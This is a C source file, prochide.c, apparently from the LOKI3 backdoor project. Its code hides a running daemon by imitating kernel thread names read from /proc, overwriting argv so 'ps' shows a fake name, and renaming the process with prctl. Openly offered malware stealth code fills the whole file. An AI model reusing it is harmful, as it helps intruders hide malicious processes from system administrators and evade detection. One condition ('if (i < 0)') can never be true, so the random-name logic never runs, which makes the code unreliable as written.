1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
|
/*
* LOKI3
*
* [ prochide.c ]
*
* 2019 and beyond Elective Surgery [dmfr]
*
* Observations:
* - On Linux, prctl() will not change the output of `ps`
* - `killall lokid won't work against './lokid' after prctl(),
* however it will work against whatever name you set with prctl().
* - argv[] needs to be overwritten to hide from `ps`
* - /proc/PID/cmdline will still be './lokid' after argv[] and prctl()
* - prctl() is not portable
* - zeroing out argv[0] on Linux makes ps show a blank process
* - invoking lokid with full path gives more room to play with argv[0]
*/
#include <stdbool.h>
#include <string.h>
#include <limits.h>
#include <dirent.h>
#include <time.h>
#include <sys/types.h>
#ifdef LINUX
#include <sys/prctl.h>
#endif /* LINUX */
#include "loki.h"
#include "prochide.h"
#define DEFAULT_PROCNAME "atd" /* Default to a small name */
struct thread_names {
char name[PATH_MAX];
int max;
};
bool string_is_number(const char *str) {
return (strspn(str, "0123456789") == strlen(str)) ? true : false;
}
bool prochide(int argc, char *argv[]) {
int i;
size_t len;
char progname[PATH_MAX];
DIR *dirp;
struct dirent *de;
struct thread_names tnames[10];
/* Zero out thread names array */
for (i = 0; i < sizeof(tnames) / sizeof(struct thread_names); i++) {
memset(tnames[i].name, 0, sizeof(tnames[i].name));
tnames[i].max = 0;
}
srand(time(NULL));
/* TODO This is not working on Solaris */
snprintf(progname, sizeof(progname), "%s", DEFAULT_PROCNAME);
len = strlen(argv[0]);
/* Find a random, suitable kernel thread name to mimick. */
dirp = opendir("/proc");
if (dirp != NULL) { /* /proc exists */
while ((de = readdir(dirp)) != NULL) {
if (de->d_type == DT_DIR && string_is_number(de->d_name)) {
FILE *fp;
char buf[PATH_MAX] = {0};
char commfile[PATH_MAX] = {0};
/* Read contents of /proc/PID/comm into buf */
snprintf(commfile, sizeof(commfile) - 1, "/proc/%s/comm", de->d_name);
if ((fp = fopen(commfile, "r")) != NULL) {
fgets(buf, sizeof(buf), fp);
fclose(fp);
} else {
continue;
}
if (strlen(buf) > (len - 2)) // account for []
continue;
/* Determine if current process's name is suitable */
char b[PATH_MAX];
char r[PATH_MAX];
int d;
/* We want only string/X, not string/X-foo */
if (sscanf(buf, "%[^/]/%d%s\n", b, &d, r) != 2)
continue;
for (i = 0; i < sizeof(tnames) / sizeof(struct thread_names); i++) {
/* End of array and string not seen yet */
if (strlen(tnames[i].name) == 0) {
memcpy(tnames[i].name, b, strlen(b));
tnames[i].max = d;
break;
}
/* Check if we have already seen this thread name */
if (strcmp(b, tnames[i].name) == 0) {
if (d > tnames[i].max)
tnames[i].max = d;
break;
}
}
}
}
closedir(dirp);
/* Determine number of entries in tnames */
for (i = 0; i < sizeof(tnames) / sizeof(struct thread_names); i++) {
if (tnames[i].max == 0)
break;
}
/* Use random tname member */
if (i < 0) {
int r = rand() % i;
snprintf(progname, sizeof(progname),
"[%s/%d]", tnames[r].name, tnames[r].max + 1);
}
}
memset(argv[0], 0, len);
memcpy(argv[0], progname, len);
/* Zero out remaining command line arguments */
for (i = 1; i < argc; i++) {
memset(argv[i], 0, strlen(argv[i]));
}
#ifdef LINUX
prctl(PR_SET_NAME, progname, 0, 0, 0);
#endif /* LINUX */
return true;
}
/* EOF */
|